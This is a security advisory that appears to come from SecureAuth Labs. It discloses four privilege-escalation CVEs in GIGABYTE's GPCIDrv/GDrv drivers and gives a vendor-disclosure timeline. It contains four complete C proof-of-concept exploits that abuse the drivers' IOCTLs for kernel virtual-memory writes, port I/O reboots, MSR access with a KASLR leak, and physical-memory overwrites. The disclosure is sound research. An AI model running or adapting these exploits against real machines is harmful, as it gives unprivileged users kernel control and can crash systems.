GIGABYTE Driver Privilege Escalation

Multiple vulnerabilities were found in the GPCIDrv and GDrv drivers as bundled with several GIGABYTE and AORUS branded motherboard and graphics card utilities, which could allow a local attacker to elevate privileges. Affected versions include GIGABYTE APP Center 1.05.21 and below, AORUS GRAPHICS ENGINE 1.33 and below, XTREME GAMING ENGINE 1.25 and below, and OC GURU II 2.08.


MD5 | 5cad18f5b078e0d55bd9a0c74f26e7cc

SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/

GIGABYTE Drivers Elevation of Privilege Vulnerabilities

*1. *Advisory Information**

Title: GIGABYTE Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2018-0007
Advisory URL:
http://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities
Date published: 2018-12-18
Date of last update: 2018-12-18
Vendors contacted: Gigabyte
Release mode: User release

*2. *Vulnerability Information**

Class: Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed
IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL with
Insufficient Access Control [CWE-782], Exposed IOCTL with Insufficient
Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-19320, CVE-2018-19322, CVE-2018-19323, CVE-2018-19321

*3. *Vulnerability Description**

GIGABYTE's website states that[1]:

Founded in 1986, GIGABYTE is committed to providing top-notch solutions
that "upgraded your life". We are regarded as a pioneer in innovation
with groundbreaking excitements such as Ultra Durable, WINDFORCE, and
BRIX series. We have also invented a premium gaming brand AORUS, a full
spectrum of gaming products for gamers and enthusiast. GIGABYTE has
continuously brought unique new ways of digital world and created
marvelous products that empower you with meaningful and charming
experiences.

Multiple vulnerabilities were found in the GPCIDrv and GDrv drivers as
bundled with several GIGABYTE and AORUS branded motherboard and graphics
card utilities, which could allow a local attacker to elevate privileges.
*
**4. *Vulnerable Packages**

. GIGABYTE APP Center v1.05.21 and previous
. AORUS GRAPHICS ENGINE v1.33 and previous
. XTREME GAMING ENGINE v1.25 and previous
. OC GURU II v2.08

Other products and versions might be affected, but they were not tested.

*5. *Vendor Information, Solutions and Workarounds**

The vendor did not provide fixes or workaround information.

*6. *Credits**

These vulnerabilities were discovered and researched by Diego Juarez.
The publication of this advisory was coordinated by Leandro Cuozzo from
SecureAuth Advisories Team.

*7. *Technical Description / Proof of Concept Code**

GYGABYTE App Center, RGBFusion, Xtreme Engine, AORUS Graphics Engine,
etc. use low level drivers to program and query the status on several
embedded ICs on their hardware. Fan curves, clock frequencies, LED
colors, thermal performance, and other user customizable properties and
monitoring functionality are exposed to applications through these low
level kernel drivers.

The main subject of this advisory are two of the device drivers
installed/loaded by affected GIGABYTE utilities (GPCIDrv and GDrv). From
now on addressed as "GPCI" and "GIO". Default installation allows
non-privileged user processes (even running at LOW INTEGRITY) to get a
HANDLE and issue IOCTL codes to these drivers.

The following sections describe the problems found.

*7.1. *Arbitrary ring0 VM read/write**

[CVE-2018-19320]
There is ring0 memcpy-like functionality built into GIO's IOCTL
0xC3502808, allowing a local attacker to take complete control of the
affected system.

Proof of Concept:

/-----
// GIGABYTE PoC demonstrating non-pivileged R/W access to abritrary
virtual memory

#include <windows.h>
#include <stdio.h>

#define IOCTL_GIO_MEMCPY 0xC3502808

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _GIO_MemCpyStruct {
ULONG64 dest;
ULONG64 src;
DWORD size;
} GIO_MemCpyStruct;

#pragma pack(pop)

BOOL GIO_memcpy(ULONG64 dest, ULONG64 src, DWORD size)
{
GIO_MemCpyStruct mystructIn = { dest, src, size};
BYTE outbuffer[0x30] = { 0 };
DWORD returned = 0;

DeviceIoControl(ghDriver, IOCTL_GIO_MEMCPY, (LPVOID)&mystructIn,
sizeof(mystructIn), (LPVOID)outbuffer, sizeof(outbuffer), & returned, NULL);
if (returned) {
return TRUE;
}
return FALSE;
}

BOOL InitDriver()
{
char szDeviceNames[] = "\\\\.\\GIO";
ghDriver = CreateFile(szDeviceNames, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to driver \'%s\' - GetLastError:%d\n",
szDeviceNames, GetLastError());
return FALSE;
}
return TRUE;
}

int main(int argc, char* argv[])
{
if (!InitDriver()) {
exit(0);
}
printf("GIGABYTE PoC (arbitrary ring0 write) - pnx!/CORE\n");
printf("press ENTER for instant BSOD\n");
getchar();
ULONG64 data = 0xFFFF1111FFFF2222;
GIO_memcpy(0, (ULONG64)&data, 8);
CloseHandle(ghDriver);

return 0;
}
-----/

*7.2. *Port mapped I/O access**

[CVE-2018-19322]
Both GPCI and GIO expose functionality to read/write data from/to IO
ports. This could be leveraged in a number of ways to ultimately run
code with elevated privileges.


Proof of Concept:

/-----
// GIGABYTE PoC demonstrating non-privileged access to IO ports

// This harmless PoC only reboots the PC, much more sinister stuff
// would also be possible by abusing this functionality.

#include <windows.h>
#include <stdio.h>

// for \\.\GPCIDrv64
#define IOCTL_GPCIDRV_PORTREADB 0x9C402588
#define IOCTL_GPCIDRV_PORTWRITEB 0x9C40258C

// for \\.\GIO
#define IOCTL_GIO_PORTREADB 0x0C3506404
#define IOCTL_GIO_PORTWRITEB 0x0C350A440

HANDLE ghDriver = 0;

typedef BYTE(*fnPMIOReadB)(WORD port);
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);

#pragma pack (push,1)

typedef struct {
DWORD DriverIndex; // DriverEnum index
BYTE DeviceName[MAX_PATH];
fnPMIOReadB pPMIOReadB;
fnPMIOWriteB pPMIOWriteB;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
GPCIDrv64 = 1,
GIO,
};

typedef struct _GPCIDRV_PORTIO_STRUCT {
DWORD port;
ULONG64 value;
} GPCIDRV_PORTIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
BYTE outbuffer[0x30] = { 0 }; \
DWORD returned = 0; \
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \
return outbuffer[0]; \

BYTE GPCIDrv_PMIOReadB(WORD port)
{
GPCIDRV_PORTIO_STRUCT inbuffer = { port, 0};
IOCTLMACRO(IOCTL_GPCIDRV_PORTREADB, 10)
}

BYTE GPCIDrv_PMIOWriteB(WORD port, BYTE value)
{
GPCIDRV_PORTIO_STRUCT inbuffer = { port, value};
IOCTLMACRO(IOCTL_GPCIDRV_PORTWRITEB, 10)
}

BYTE GIO_PMIOReadB(WORD port)
{
GPCIDRV_PORTIO_STRUCT inbuffer = { port, 0 };
IOCTLMACRO(IOCTL_GIO_PORTREADB, 4)
}

BYTE GIO_PMIOWriteB(WORD port, BYTE value)
{
GPCIDRV_PORTIO_STRUCT inbuffer = { port, value };
IOCTLMACRO(IOCTL_GIO_PORTWRITEB, 5)
}

void Reboot()
{
BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;
gConfig.pPMIOWriteB(0xcf9, cf9 | 2);
Sleep(50);
gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);
Sleep(50);
}

BOOL InitDriver()
{
char *szDeviceNames[] = { "\\\\.\\GPCIDrv64" , "\\\\.\\GIO" };
BYTE i = 0;
for (i = 0; i < 2; i++) {
ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", szDeviceNames[i], GetLastError());
continue;
}

gConfig.DriverIndex = i+1;
memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);
break;
}

switch (gConfig.DriverIndex) {
case DriverEnum::GPCIDrv64:
{
gConfig.pPMIOReadB = (fnPMIOReadB)GPCIDrv_PMIOReadB;
gConfig.pPMIOWriteB = (fnPMIOWriteB)GPCIDrv_PMIOWriteB;
}
break;

case DriverEnum::GIO:
{
gConfig.pPMIOReadB = (fnPMIOReadB)GIO_PMIOReadB;
gConfig.pPMIOWriteB = (fnPMIOWriteB)GIO_PMIOWriteB;
}
break;

default:
break;
}


return gConfig.DriverIndex ? TRUE : FALSE;
}

int main(int argc, char* argv[])
{
printf("GIGABYTE PoC (PMIO access) - pnx!/CORE\n");

if (!InitDriver()) {
printf("InitDriver failed! - aborting...\n");
exit(0);
}

printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName,
(DWORD)ghDriver);

Reboot();
return CloseHandle(ghDriver);
}
-----/

*7.3. *MSR Register access**

[CVE-2018-19323]
GIO exposes functionality to read and write Machine Specific Registers
(MSRs). This could be leveraged to execute arbitrary ring-0 code.

Proof of Concept:

/-----
// GIGABYTE GIO driver PoC demonstrating non-privileged access to MSR
registers

// This PoC demonstrates non privileged MSR access by reading
// IA32_LSTAR value (leaks a kernel function pointer bypassing KASLR)
// and then writing garbage to it (instant BSOD!)

#include <windows.h>
#include <stdio.h>

#define IOCTL_GIO_MSRACCESS 0x0C3502580

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _GIO_MSRIO_STRUCT {
DWORD rw; // 0 read - 1 write
DWORD reg; //
ULONG64 value; //
} GIO_MSRIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
DWORD returned = 0; \
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \
return outbuffer[1]; \

ULONG64 GIO_RDMSR(DWORD reg)
{
ASIO_MSRIO_STRUCT inbuffer = { 1, reg };
ULONG64 outbuffer[2] = { 0 };
IOCTLMACRO(IOCTL_GIO_MSRACCESS, 16)
}

ULONG64 GIO_WRMSR(DWORD reg, ULONG64 value)
{
ASIO_MSRIO_STRUCT inbuffer = { 0, reg, value };
ULONG64 outbuffer[2] = { 0 };
IOCTLMACRO(IOCTL_GIO_MSRACCESS, 16)
}

BOOL InitDriver()
{
char szDeviceName[] = "\\\\.\\GIO";
ghDriver = CreateFile(szDeviceName, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", szDeviceName, GetLastError());
return FALSE;
}
return TRUE;
}

int main(int argc, char* argv[])
{
printf("GIGABYTE PoC (MSR access) - pnx!/CORE\n");

if (!InitDriver()) {
printf("InitDriver failed! - aborting...\n");
exit(0);
}

ULONG64 a = GIO_RDMSR(0xC0000082);
printf("IA322_LSTAR: %llx (nt!KiSystemCall64)\n", a);
printf("press ENTER for instant BSOD\n");
getchar();
a = GIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
return CloseHandle(ghDriver);
}
-----/

*7.4. *Arbitrary physical memory read/write**

[CVE-2018-19321]
Both GPCI and GIO expose functionality to read/write arbitrary physical
memory, allowing a local attacker to take complete control of the
affected system.

Proof of Concept:

/-----
// GIGABYTE PoC (arbitrary physical memory read/write)

#include <windows.h>
#include <stdio.h>

#define IOCTL_GIO_MAPPHYSICAL 0xC3502004
#define IOCTL_GIO_UNMAPPHYSICAL 0xC3502008

#define IOCTL_GPCI_MAPPHYSICAL 0x9C402580
#define IOCTL_GPCI_UNMAPPHYSICAL 0x9C402584

HANDLE ghDriver = 0;

typedef ULONG64(*fnMapPhysical)(ULONG64 physicaladdress);
typedef ULONG64(*fnUnMapPhysical)(ULONG64 address);

#pragma pack (push,1)

typedef struct _GIO_PHMAP {
DWORD InterfaceType;
DWORD Bus;
ULONG64 PhysicalAddress;
DWORD IOSpace;
DWORD size;
} GIO_PHMAP;

typedef struct _GPCI_PHMAP {
DWORD PhysicalAddress;
DWORD size;
} GPCI_PHMAP;

typedef struct {
DWORD DriverIndex; // DriverEnum index
BYTE DeviceName[MAX_PATH];
fnMapPhysical pMapPhysical;
fnUnMapPhysical pUnMapPhysical;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
GPCIDrv64 = 1,
GIO,
};

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode) \
ULONG64 outbuffer[2] = { 0 }; \
DWORD returned = 0; \
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
sizeof(inbuffer), (LPVOID)outbuffer, sizeof(outbuffer), &returned,
NULL); \
return outbuffer[0]; \

ULONG64 GIO_mapPhysical(ULONG64 physicaladdress)
{
GIO_PHMAP inbuffer = { 0, 0, physicaladdress, 0, 0x1000};
IOCTLMACRO(IOCTL_GIO_MAPPHYSICAL)
}

ULONG64 GIO_unmapPhysical(ULONG64 address)
{
ULONG64 inbuffer = address;
IOCTLMACRO(IOCTL_GIO_UNMAPPHYSICAL)
}

ULONG64 GPCI_mapPhysical(DWORD physicaladdress)
{
GPCI_PHMAP inbuffer = { physicaladdress, 0x1000};
IOCTLMACRO(IOCTL_GPCI_MAPPHYSICAL)
}

ULONG64 GPCI_unmapPhysical(ULONG64 address)
{
ULONG64 inbuffer = address;
IOCTLMACRO(IOCTL_GPCI_UNMAPPHYSICAL)
}

BOOL InitDriver()
{
char *szDeviceNames[] = { "\\\\.\\GPCIDrv64" , "\\\\.\\GIO" };
BYTE i = 0;
for (i = 0; i < 2; i++) {
ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", szDeviceNames[i], GetLastError());
continue;
}

gConfig.DriverIndex = i + 1;
memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH - 1);
break;
}

switch (gConfig.DriverIndex) {
case DriverEnum::GPCIDrv64:
{
gConfig.pMapPhysical = (fnMapPhysical)GPCI_mapPhysical;
gConfig.pUnMapPhysical = (fnUnMapPhysical)GPCI_unmapPhysical;
}
break;

case DriverEnum::GIO:
{
gConfig.pMapPhysical = (fnMapPhysical)GIO_mapPhysical;
gConfig.pUnMapPhysical = (fnUnMapPhysical)GIO_unmapPhysical;
}
break;

default:
break;
}

return gConfig.DriverIndex ? TRUE : FALSE;
}

int main(int argc, char * argv[])
{
if (!InitDriver()) {
exit(0);
}

printf("GIGABYTE PoC (arbitrary physical memory read/write) -
pnx!/CORE\n");
printf("press ENTER for System CRASH\n");
getchar();
printf("Bruteforcing");
for (unsigned int i = 0; i < 0xffffffff; i+=0x1000) {
printf(".");
ULONG64 mappedVA = gConfig.pMapPhysical(i);
*(ULONG64 *)mappedVA = 0xCCCCCCCCCCCCCCCC;
gConfig.pUnMapPhysical(mappedVA);
}
CloseHandle(ghDriver);
return 0;
}
-----/

*8. *Report Timeline**

2018-04-24: SecureAuth sent an initial notification to services@gigabyte
and services@gigabyteusa and requested for a security contact in order
to send a draft advisory.
2018-04-26: SecureAuth sent the initial notification to sales@gigabyteusa
marketing@gigabyteusa and requested for a security contact in order to
send a draft advisory.
2018-04-30:Gigabyte Technical support team answered saying the
notification was too general and requested SecureAuth to open a ticket
in the Support portal.
2018-05-02: SecureAuth replied that it's our policy to keep all the
communication process via email in order to track all interactions.
For that reason, SecureAuth notified Gigabyte again that a draft
advisory, including a technical description, had been written and
requested for a security contact to send it.
2018-05-04: Gigabyte Technical support team replied saying that Gigabyte
is a hardware company and they are not specialized in software, and
requested for technical information.
2018-05-04: In the absence of a security contact, SecureAuth sent to
Gigabyte Technical support team the draft advisory including a technical
description and POCs.
2018-05-15: SecureAuth requested a status update.
2018-05-16: Gigabyte Technical support team answered that Gigabyte is a
hardware company and they are not specialized in software.
They requested for technical details and tutorials to verify the
vulnerabilities.
2018-05-16: SecureAuth requested for a formal acknowledgment of the
draft advisory sent.
2018-05-16: Gigabyte replied saying that the draft advisory was general
and asked for a personal contact.
2018-05-17: SecureAuth notified Gigabyte again that is our policy to
keep all the communication process via email.
2018-05-31: SecureAuth requested a status update.
2018-05-16: Gigabyte replied saying that the draft advisory was general
and asked for a phone contact again.
2018-05-31: SecureAuth requested for a formal acknowledgment of the
draft advisory sent multiple times, in order to engage into a
coordinated vulnerability disclosure process.
2018-07-03: SecureAuth requested a status update.
2018-07-12: Gigabyte responded that, according to its PM and engineers,
its products are not affected by the reported vulnerabilities.
2018-12-18: Advisory CORE-2018-0007 published as 'user release'.

*9. *References**

[1] https://www.gigabyte.com/About

*10. *About SecureAuth Labs**

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.

*11. *About SecureAuth**

SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches.
As a leader in access management, identity governance, and penetration
testing, SecureAuth is powering an identity security revolution by
enabling people and devices to intelligently and adaptively access
systems and data, while effectively keeping bad actors from doing harm.
By ensuring the continuous assessment of risk and enablement of trust,
SecureAuth's highly flexible Identity Security Automation (ISA) platform
makes it easier for organizations to prevent the misuse of credentials
and exponentially reduce the enterprise threat surface. To learn more,
visit www.secureauth.com, call (949) 777-6959, or email us at
[email protected]

*12. *Disclaimer**

The contents of this advisory are copyright (c) 2018 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/



Related Posts